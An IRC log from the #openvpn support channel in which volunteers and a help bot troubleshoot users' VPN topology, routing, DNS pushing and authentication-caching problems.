09:15 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
09:15 -!- dazo_afk is now known as dazo
09:17 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
09:19 -!- mete [~mete@84.200.83.33] has quit [Ping timeout: 255 seconds]
09:20 -!- BAMbanda [~BAMbanda@c-98-231-137-71.hsd1.md.comcast.net] has quit [Ping timeout: 246 seconds]
09:20 -!- Shadowized [~Shadowize@84.201.4.120] has quit [Ping timeout: 264 seconds]
09:22 < diizzyy2> ahh, there we go
09:24 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit [Ping timeout: 256 seconds]
09:24 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
09:27 -!- _BAMbanda [~BAMbanda@c-98-231-137-71.hsd1.md.comcast.net] has joined #openvpn
09:28 < diizzyy2> no...
09:29 < _BAMbanda> hey, I redirected my openvpn stdout to a file, but now I want to be able to only redirect it if there is a failed connection
09:30 < _BAMbanda> how can I know that a connection a failed and kick off a script that redirects it upon failure?
09:33 < Poster|w> _BAMbanda: look at the --verb option, maybe dial down to errors only
09:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:34 < diizzyy2> This is weird
09:34 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:35 < _BAMbanda> Poster|w: on the range 1-4, its normal and the range 6-11 is debug. I'm not sure which specific number would be the most appropriate
09:39 < diizzyy2> So....
09:39 -!- paccer_ [uid4847@gateway/web/irccloud.com/x-tnxmvpjyvxujhbgs] has quit [Ping timeout: 264 seconds]
09:44 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has quit [Quit: Have to go. Good bye!]
09:44 < pekster> _BAMbanda: That's not how output redirection works. Perhaps you'd be better off looking at the script hooks openvpn provoides and use those
09:46 < _BAMbanda> pekster: k thanks, I'll take a look
09:49 < _BAMbanda> pekster: hooks aren't on the man page?
09:49 < diizzyy2> http://paste2.org/7Mt8hEWt
09:49 < diizzyy2> What crucial thing am I missing
09:51 < pekster> _BAMbanda: All the options are, and you can see them shown together under the heading "SCRIPTING AND ENVIRONMENTAL VARIBLES"
09:55 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
09:55 < rob0> diizzyy2, 14:10 < rob0> what's not working?
09:55 < rob0> there are no configs/logs in that. Is the VPN connected?
09:56 < rob0> (well, incomplete config I guess.)
09:58 < diizzyy2> rob0: connects but routing doesnt work
09:59 < rob0> maybe one of the following flowcharts can help you:
09:59 < rob0> !serverlan
09:59 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
09:59 < rob0> !clientlan
09:59 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
09:59 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
10:00 < diizzyy2> rob0: Yes, but the routes gets fucked up
10:00 < diizzyy2> I have no idea why openvpn does that
10:00 < diizzyy2> see the paste2 link
10:01 < rob0> I have no way to know what is wrong there.
10:01 -!- bkrieg1337 [~bkrieg133@li515-89.members.linode.com] has joined #openvpn
10:04 < diizzyy2> what do you want to know?
10:07 < pekster> You've done a terriable job explaning your setup, and the lack of a proper config file or log is not helping you
10:07 < pekster> I can't tell if "custom client conf" is a ccd file or a snippint of the client config. Either way it's wrong
10:07 < diizzyy2> its a ccd
10:08 < pekster> Then you've assigned the IP of "10.0.9.1" to the client in a Point-to-Point setup peering with 10.0.9.244. I don't think this is what you want
10:08 < diizzyy2> mkay?
10:08 < diizzyy2> that's the openvpn default
10:08 < pekster> Nope
10:08 < pekster> Not at all
10:09 -!- raidz_away is now known as raidz
10:09 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:09 < diizzyy2> so, whats wrong then?
10:09 < pekster> The default is a net30 mode, which uses the center 2 IPs in a /30 subnet from your VPN network ranged (used as a sort of "supernet" in that sense)
10:09 < pekster> Your entire setup is wrong
10:09 < pekster> You've failed to use ifconfig-push properly, you're probably not matching it to the toplolgy you're using, although I can't say without a config file
10:09 < pekster> And you've failed to read the topic very well to post your config files to get any real help
10:09 < diizzyy2> here goes...
10:10 <@EugeneKay> !secret
10:10 < diizzyy2> I've been asking what you want and I havent gotten a reply til now
10:10 <@vpnHelper> "secret" is funny that people use free programs, consult free help for them, run a business with them, but are restricted to say what they do.
10:10 < diizzyy2> so hold on
10:10 <@EugeneKay> !configs
10:10 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:10 <@EugeneKay> !logs
10:10 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:10 < pekster> diizzyy2: We like people to read the topic. I know it sounds hard.
10:10 < pekster> You know, the topic that starts with "PLEASE read entire topic"
10:14 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
10:15 < diizzyy2> http://paste2.org/Cny3wjZs
10:15 < diizzyy2> that's the server.conf
10:16 < diizzyy2> http://paste2.org/WW8PDJU5
10:16 < diizzyy2> That's ccd
10:17 < diizzyy2> The issues is that routes on the server gets set incorrectly
10:17 < diizzyy2> -s
10:17 < pekster> Your issues are more than that
10:18 < pekster> Your ccd is not in the proper format for your topology
10:18 < diizzyy2> mkay?
10:18 < pekster> You're in net30 mode. You *must* push an IP range in the proper format, which you have not done. Further, you've pushed the client an IP of 10.9.0.1
10:18 < pekster> 10.0.9.1, rather. That's supposed to be your server's IP
10:18 < pekster> !topology
10:18 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
10:18 < pekster> !/30
10:19 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
10:19 < pekster> Further reading is availble in the manpage under the --topology and --ifconfig-push directives
10:20 < pekster> Your routes look fine, btw. Since you're using net30 mode, everything seems normal on your server from the entries you showed
10:20 < pekster> I'd strongly suggest you use a more sane topology though
10:22 < diizzyy2> How are the routes fine since it tries to route a network to 10.9.0.2?
10:23 < jzaw> cnf, http://zombe.es/post/4078724716/openssl-cipher-selection
10:23 <@vpnHelper> Title: zombees - OpenSSL: Cipher Selection (at zombe.es)
10:24 < diizzyy2> This only obvious issue I can tell is that pushing an ip to the client confuses the server
10:24 -!- dougquaid [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has joined #openvpn
10:24 < pekster> The server is not "confused." It's acting fine
10:24 < pekster> Do you understand how a /30 works? In general?
10:26 < diizzyy2> seems to use /24?
10:26 < dougquaid> I've got openvpn set up with ldap auth, but every hour or so the connection restarts and I have to put my password in again, and if I don't do it quick enough, my ssh sessions are interrupted. What directive do I use to stop that from happening? Is that ping-restart?
10:26  * pekster sighs
10:26 < diizzyy2> pekster a subnet mask with 255.255.255.0 would be incorrect in that case?
10:27 < pekster> diizzyy2: I can't help you if you don't read or accept what I'm telling you. You're using a net30 topology. Go read about it, becuase you are wrong. There is a /30, network, or "255.255.255.252" in the old-school netmask notation. EVERY peer is using that as the local network
10:27 < pekster> Your /24 network is merely a supernet of each peer's local /30. *nix doesn't even bother with the /30 and simply uses a direct PtP assignment from the center since the entire point is to support Windows clients before the 2.1 release
10:28 < pekster> You have all the info you need from the bot. Your server routes are fine for the "net30" topology. Either accept that nothing is "wrong" on your server, or go use a non-stupid topology. Ideally both.
10:29 < pekster> (well, beyond your bogus ifconfig-push in your ccd file. That's an issue for the client really, although I suppose it's wrong anyway)
10:29 < pekster> I'm not going to argue with you anymore
10:30  * ecrist lols
10:30 < pekster> netmask R hard...
10:30 < pekster> dougquaid: Are you using --auth-nocache perhaps?
10:30 < dougquaid> pekster: Let me check really quick
10:31 < diizzyy2> pekster: Seriously, I'm not arguing with out I'm just asking
10:31 < diizzyy2> with you
10:31 < pekster> You've asked enough times I'm tired of explaining. The !net30 and !/30 output explains everything you need. As does the manpage reference you got
10:31 < dougquaid> pekster: No, --auth-nocache isn't in my server's config
10:31 < pekster> Please ask a more specific question about that text after you have *throughly* read all of it
10:31 -!- bkrieg1337 [~bkrieg133@li515-89.members.linode.com] has quit [Read error: Connection reset by peer]
10:32 -!- bkrieg1337_ [~bkrieg133@li515-89.members.linode.com] has joined #openvpn
10:32 < pekster> dougquaid: This would be in your client
10:32 < pekster> Not server
10:32 < dougquaid> Oh, ok. Let me check that then
10:32 < dougquaid> pekster: No, it's not there either
10:33 < pekster> dougquaid: How are you starting your client then? Normally the --user-auth-pass directive will cache your credentials and pass them back to the server when the session re-keys, which is hourly by default?
10:34 < dougquaid> pekster: You know what, I looked at the wrong client config. auth-nocache is in fact present
10:35 < diizzyy2> pekster: I didnt know that openvpn used net30 by default
10:35 < pekster> Cool, you've just caught up to what I told you 20 minutes ago. Congrats
10:35 -!- tabakhase_ [t4b4kh453@unaffiliated/tabakhase] has quit [Write error: Broken pipe]
10:36 < diizzyy2> Sigh
10:36 < diizzyy2> Yes, its obvious when you know
10:36 < pekster> <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer.
10:36 < pekster> It's obvious when you *READ*
10:37 < pekster> You think I'm giving you references beccuase I like text on my screen?
10:37 < diizzyy2> pekster, I asked because 255.255.255.0 isn't a /30 subnet
10:37 < jzaw> pekster, re ccd iroute ... im using a ROUTED tap vpn but ...
10:38 < jzaw> --iroute options rejected for openwrt/194.117.241.72:59522 -- iroute only works with tun-style tunnels
10:38 < pekster> dougquaid: So, either remove it and let openvpn cache your auth credentials, or set up some automated way (mabye using the --management interface) to supply it automatically. Or keep doing it manually ;)
10:38 -!- cherwin [~cherwin@robin.teqnix.nl] has quit [Ping timeout: 256 seconds]
10:38 -!- cherwin [~cherwin@robin.teqnix.nl] has joined #openvpn
10:38 < dougquaid> pekster: Thanks, I'll probably just remove it
10:38 < jzaw> at the mo im setting up routes in upscripts
10:38 < diizzyy2> pekster: so what would be your recommendation of getting the node a "static ip"?
10:39 < pekster> jzaw: Right. You can't use iroute like that since openvpn is bound to the MAC address of the peer in that case, not the L3 IP address. If you want to route like ethat, use "traditional" routing methods outside of openvpn. Or switch to tun if you want openvpn to do it.
10:39 < jzaw> ah k
10:39 < jzaw> so up scripts it is :)
10:39 < jzaw> ta
10:39 -!- tabakhase_ [t4b4kh453@rps9289.ovh.net] has joined #openvpn
10:39 < pekster> diizzyy2: Switch to the subnet topology that simply uses the entire /24 everywhere and push an IP/netmask that's *not* your server's IP
10:43 -!- dougquaid [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has left #openvpn ["Leaving"]
10:44 < diizzyy2> hmmm...
10:45 -!- erry__ [erry@freenode/staff/erry] has joined #openvpn
10:45 -!- erry__ is now known as erry
10:51 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has joined #openvpn
10:57 < vaillor> to force client redirection, i just need "redirect-gateway def1" ?
10:58 < pekster> vaillor: Yup
10:58 < pekster> Well, and the rest of the server to support the routing needs:
10:58 < pekster> !redirect
10:58 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:58 <@vpnHelper> http://ircpimps.org/redirect.png
10:58 < pekster> But that's the only "openvpn" directive you need
10:58 < vaillor> !def1
10:58 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
10:58 < vaillor> !man
10:59 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:59 < vaillor> pekster, and for dns?
10:59 < vaillor> i don't need anything on client side?
11:00 < pekster> See #2 in the !redirect output (which references !dns and !pushdns)
11:00 < vaillor> !dns
11:00 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
11:01 < vaillor> !pushdns
11:01 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
11:01 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
11:02 < vaillor> pekster, i want let the client use the server dns
11:03 < vaillor> so, i don't set anything, which dns do the client uses?
11:03 < pekster> Then push it and handle non-Windows clients as defined above
11:03 < pekster> If you don't do anything, the client's original DNS is unmodified
11:04 < vaillor> it's an iphone client
11:04 < pekster> I've used NAT before to blindly scoop up outbound DNS requests before, although that can have unintended side-effects, and won't work if the DNS server is link-local to a client
11:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
11:07 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:07 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 264 seconds]
11:08 -!- _BAMbanda [~BAMbanda@c-98-231-137-71.hsd1.md.comcast.net] has quit [Quit: Leaving]
11:11 -!- tabakhase_ [t4b4kh453@rps9289.ovh.net] has quit [Changing host]
11:11 -!- tabakhase_ [t4b4kh453@unaffiliated/tabakhase] has joined #openvpn
11:15 -!- bkrieg1337 [~bkrieg133@112.198.141.48] has joined #openvpn
11:15 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
11:15 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 252 seconds]
11:15 -!- bkrieg1337_ [~bkrieg133@li515-89.members.linode.com] has quit [Ping timeout: 245 seconds]
11:17 -!- bkrieg1337 [~bkrieg133@112.198.141.48] has quit [Client Quit]
11:26 -!- pagios__ [~pagios@46.19.194.111] has joined #openvpn
11:26 < pagios__> is there any way to tunnel udp over a tcp tunnel?
11:28 < pekster> OpenVPN simply creates a network link between 2 peers. You can sand any type of data inside this tunnel you want
11:28 -!- kev671 [~kev671@ks359832.kimsufi.com] has joined #openvpn
11:29 -!- kev671 [~kev671@ks359832.kimsufi.com] has left #openvpn []
11:30 -!- qmr [~qmr@50.116.18.140] has quit [Ping timeout: 256 seconds]
11:31 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
11:33 -!- benedikt [~benedikt@unaffiliated/benedikt] has quit [Ping timeout: 245 seconds]
11:33 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
11:33 -!- benedikt [~benedikt@unaffiliated/benedikt] has joined #openvpn
11:36 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
11:39 -!- paccer_ [uid4847@gateway/web/irccloud.com/x-qgjuxremdhkhhrpw] has joined #openvpn
11:43 -!- timmmaaaayyy_ [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has left #openvpn []
11:44 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Quit: No Ping reply in 180 seconds.]
11:45 -!- diizzyy2 [~foobar2@c-181be155.114-1-64736c10.cust.bredbandsbolaget.se] has quit [Ping timeout: 248 seconds]
11:45 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
11:47 -!- diizzyy2 [~foobar2@c-771ae155.114-1-64736c10.cust.bredbandsbolaget.se] has joined #openvpn
11:53 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
11:54 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
11:56 -!- diizzyy2 [~foobar2@c-771ae155.114-1-64736c10.cust.bredbandsbolaget.se] has quit [Ping timeout: 252 seconds]
11:57 -!- benedikt is now known as negri
11:58 -!- negri is now known as benedikt
11:58 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 240 seconds]
12:09 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
12:09 < oc80z> pagios__ did you get that?
12:10 < pagios__> any documentation? purpose udp traffic goes over tcp tunnel
12:11 < pekster> pagios__: "Purpose"? OpenVPN doesn't care about the purpose of traffic you send across the tunnel. That's for you to figure out
12:11 -!- diizzyy2 [~foobar2@c-181be155.114-1-64736c10.cust.bredbandsbolaget.se] has joined #openvpn
12:11 < pekster> Maybe it's a DNS request. Maybe it's a SIP phone call. I simply don't understand your question
12:12 < rob0> A tunnel, whether TCP or UDP, and on whatever media, including RFC1149/2549, is simply the tunnel. It provides an IP address and route for you to use. We presume you know how and why you want to use it.
12:12 < pagios__> its RTP/UDP
12:12 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
12:12 < pagios__> cool got it
12:12 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
12:12 < pagios__> thanks
12:12 < pekster> rob0: OpenVPN over RFC1149 :P
12:12 -!- pagios__ [~pagios@46.19.194.111] has left #openvpn ["Leaving"]
12:12  * pekster demands an implementation
12:12 < rob0> pekster, that's for the birds :(
12:12 <@EugeneKay> I miss the ICMP transport patch
12:12  * pekster makes rob0 birdmaster
12:13  * rob0 sends the birds to peck at pekster
12:15 < pekster> http://what-if.xkcd.com/imgs/a/31/fedex_delivery.png
12:16 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Client Quit]
12:20 -!- mete [~mete@mete.shell.la] has joined #openvpn
12:20 -!- diizzyy2 [~foobar2@c-181be155.114-1-64736c10.cust.bredbandsbolaget.se] has quit [Read error: Connection reset by peer]
12:21 -!- diizzyy2 [~foobar2@c-181be155.114-1-64736c10.cust.bredbandsbolaget.se] has joined #openvpn
12:26 -!- diizzyy2 [~foobar2@c-181be155.114-1-64736c10.cust.bredbandsbolaget.se] has quit [Remote host closed the connection]
12:31 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
12:39 -!- Morg0th [~Morg0th@82-212-146-28.teledisnet.be] has joined #openvpn
12:44 < Morg0th> Hello, i'm having troubles configuring my VPN on Linux Slackware. it looks like it's connecting but i can't access the VPN network. here is my openvpn.conf file: http://codepad.org/2eLa34JX, the logs of the daemon: http://codepad.org/jPXcG1Cu and the result of my "route -n": http://codepad.org/oEnQrb3f. could anyone help me please?
12:44 <@vpnHelper> Title: Plain Text code - 15 lines - codepad (at codepad.org)
12:46 < Morg0th> maybe i need to configure my routing with the route command or something like that but i can't seem to find something that works. i'm not even sure the problem comes from there
12:47 < rob0> A single pastebin makes things easier for those who might help you. Also, forget route and use "ip route list", "ip addr list" might also help.
12:51 < Morg0th> rob0: thanks
12:52 < Morg0th> here is everything on pastebin with ip command results: http://pastebin.com/EQVyFKMN
12:52 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
12:54 < rob0> and what do you mean, "can't access the VPN network"?
12:54 < rob0> can you ping/otherwise access the peer?
12:55 < Morg0th> i'm trying to access my work's nework, i should be able to access some urls (in the web browser or by accessing java protocols on specific urls) but it doesn't work, like in the web browser the page loads eternally
12:55 < rob0> !route
12:55 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
12:55 <@vpnHelper> the server or client
12:56 < rob0> #4 might help you
12:56 -!- brute11k [~brute@89.249.235.146] has quit [Quit: Leaving.]
12:56 < pekster> Looks like the supernet 10.8/16 is routed across your VPN link based on the route output. Maybe your issue is DNS instead?
12:56 < Morg0th> i can ping the server that is said to be "remote" in my openvpn.conf but even without openvpn launched i can ping it. however i can't ping the url that i need to access
12:56 < rob0> looks like you connected and should be able to ping (or do other stuff) across the tunnel
12:57 < pekster> Is the URL an IP? If not, my guess is DNS is your problem
12:57 < pekster> !pushdns
12:57 < rob0> --remote is the real Internet IP address. That's not pinging through the tunnel.
12:57 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
12:57 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
12:58 < Morg0th> pekster: the url in my openvpn.conf is an ip but the url i generally access is a name. maybe dns yes i'm gonna look into that
12:58 < Morg0th> but if openvpn is working, is it normal i can still access the web?
12:59 < pekster> Yup. OpenVPN is "nothing more" at its core than a 2nd virtual network connection
12:59 < pekster> You can use it to do things like modify your routes (including your default gateway, or two /1 routes that effectively do the same thing) but those are not default settings
12:59 < Morg0th> !clientlan
12:59 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
12:59 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
13:00 < Morg0th> ok i see, thanks i'm looking into all those links :)
13:02 < vaillor> pekster, i haven't understood how to tell to client to use a dhcp server given dns
13:05 -!- erry [erry@freenode/staff/erry] has left #openvpn []
13:13 < Morg0th> if i want to make sure that the tunnel is working, the only way is to get the IP of the server i want to access? or can i ping something that i can get from the route outputs to check that everything is working?
13:13 -!- kisom [~kisom@n186-p13.kthopen.kth.se] has quit [Remote host closed the connection]
13:13 -!- kisom [~kisom@n186-p13.kthopen.kth.se] has joined #openvpn
13:13 < Morg0th> i would at least be certain wether it's only a DNS problem or not
13:14 < pekster> The tunnel? Ping your endpoint
13:14 < pekster> Probably 10.8.8.1
13:15 < Morg0th> i get lines like this: "From 78.129.126.121 icmp_seq=1 Packet filtered"
13:16 < pekster> That sound wrong. That's from your system with the route output you pasted earlier?
13:16 < pekster> You have a route for 10.8.8.1 via your VPN tunnel. It shouldn't be routed over any other link
13:16 < Morg0th> oh no sorry! i stopped openvpn in the mean time :s
13:16 < Morg0th> yes i get a ping
13:16 < Morg0th> nice :)
13:17 < pekster> Then the tunnel is working between you and the server
13:17 < Morg0th> ok thanks!! :)
13:17 < pekster> Anything else is a routing, firewall, or DNS problem
13:17 < Morg0th> ok it's very good to know
13:26 -!- Orbi [~opera@46.246.33.71] has joined #openvpn
13:39 < jzaw> pekster, to use tun i have to have a min of a /29 ?       its just that i do have a /30 routeable which works nicely with tap0
13:39 < jzaw> but it seems i cant use the same for tun?
13:40 < rob0> I'm not sure where you got that idea. Actually a tun could possibly use all four of a /30.
13:41 < jzaw> rob0, from logs when it failed
13:41 -!- rm-rf [~darrick@linuxutil.com] has joined #openvpn
13:41 < rob0> whereas with tap you'd have to leave network and broadcast open
13:41 < jzaw> they are
13:41 < jzaw> ayhe
13:41 < jzaw> aye
13:42 -!- rm-rf [~darrick@linuxutil.com] has left #openvpn []
13:42 < jzaw> i tried topology subnet
13:43 -!- dazo is now known as dazo_afk
13:44 < jzaw> rob0, Options error: --server directive when used with --dev tun must define a subnet of 255.255.255.248 (/29) or lower
13:44 < rob0> oh. I guess you're right then.
13:45 < jzaw> :/
13:45 < jzaw> unless thats to do with the particular topology i tried?
13:45 < rob0> of course --server is a macro. Maybe you could break it apart and do it all manually.
13:45  * jzaw shivvers!
13:46 < jzaw> or just ask my isp for a /29 :D
13:46 < rob0> sure! The more the merrier!
13:46 < jzaw> hehe
13:47 < jzaw> though even *I* would admit that is getting a tad wasteful
13:51 -!- TheSov [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
13:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:52 < TheSov> hello all, i'm having a slight issue, im using a tap to connect a cloud router to my lan and every so often it loses partial connectivity, my existing tcp connections are still connected by no new ones can get through is there any way to fix this?
13:53 < rob0> That would depend entirely on what is causing this, which sounds like it's probably something outside openvpn.
13:54 < TheSov> would the router being ubuntu, or a VM cause this behaviour?
13:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:06 < jzaw> rob0, in the expansion of the --server macro
14:06 < jzaw> what is the !nopool  ?
14:07 < jzaw> i cant seem to find any other mention of it in the man file
14:08 < jzaw> does !nopool mean if ifconfig-pool isnt specified?
14:08 < pekster> jzaw: Looks like that's a left-over directive
14:09 < rob0> hmm, I wonder if it is pseudocode?
14:09 < pekster> IIRC it used to be an option
14:09 < rob0> yes, I think it means if no ifconfig-pool
14:09 < pekster> You don't need ifconfig-pooli explicitly declared though
14:09 < pekster> That's implied via --server
14:10 < jzaw> ah cos its impiled then ifconfig-pool is always set?
14:11 < jzaw> if !nopool:
14:11 < jzaw>          ifconfig-pool blah blah
14:11 < jzaw> from man file ^^^
14:11 < pekster> Yes. I know.
14:11 < pekster> Just pretend that's not there
14:11 < pekster> --server *always* gives you --ifconfig-pool, and it eats up the remainder of the subnet
14:11 < jzaw> im looking at doing the macro manually
14:12 < pekster> Right. So add in your pool range
14:12 < pekster> Pretend the !nopool doesn't exist.
14:12 < jzaw> see if i can have just a /30 on the tun
14:12 < pekster> You can technically use just 2 IPs if you want. A "/31"
14:12 < jzaw> so why this error in logs ?
14:12 < jzaw>  Options error: --server directive when used with --dev tun must define a subnet of 255.255.255.248 (/29) or lower
14:12 < pekster> You can't do it with "server"
14:12 < pekster> PtP is just 2 IPs
14:13 < pekster> You can do --ifconfig 10.1.2.3 192.168.50.127
14:13 < pekster> It works. It's stilly and stupid, but it works
14:13 < jzaw> ah
14:13 < jzaw> i see
14:13 < jzaw> which is why im looking at the macro
14:13 < pekster> You can even use a /30 in tap mode if you want
14:13 < pekster> RIght
14:13 < pekster> Just *IGNORE* the stupid !nopool. 3rd time now. It's worthless, probably left over
14:13 < jzaw> right now i am using that /30 with taps
14:13 < jzaw> *works* :D
14:14 < jzaw> but i wanted to keep my routable ips for the tun's hence now looking at the macro
14:14 < pekster> The the "old school" way to do router peering. Thesedays people just use PtP links
14:14 < jzaw> so i can use tun ... and thus iroute in ccd
14:15 < jzaw> <pekster> Just *IGNORE* the stupid !nopool. 3rd time now. It's worthless, probably left over
14:15 < jzaw> i hear you
14:15 < jzaw> :)
14:15 < pekster> RIght. No need to paste manpage output I'm citing after I told you it's a left-over bit from an ancient version
14:16  * jzaw hands pekster a large trout to slap jzaw about the head with 
14:17 < jzaw> got it ta
14:18 -!- Morg0th [~Morg0th@82-212-146-28.teledisnet.be] has quit [Quit: leaving]
14:21 -!- lmm [uid6417@gateway/web/irccloud.com/x-loxnjayvdjtfdjcg] has quit [Ping timeout: 240 seconds]
14:21 -!- paccer_ [uid4847@gateway/web/irccloud.com/x-qgjuxremdhkhhrpw] has quit [Ping timeout: 252 seconds]
14:25 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 252 seconds]
14:26 -!- TomM_ [~quassel@unaffiliated/tommehm] has joined #openvpn
14:28 -!- Zoness [~Zoness@136.176.112.126] has joined #openvpn
14:31 -!- TomM_ [~quassel@unaffiliated/tommehm] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
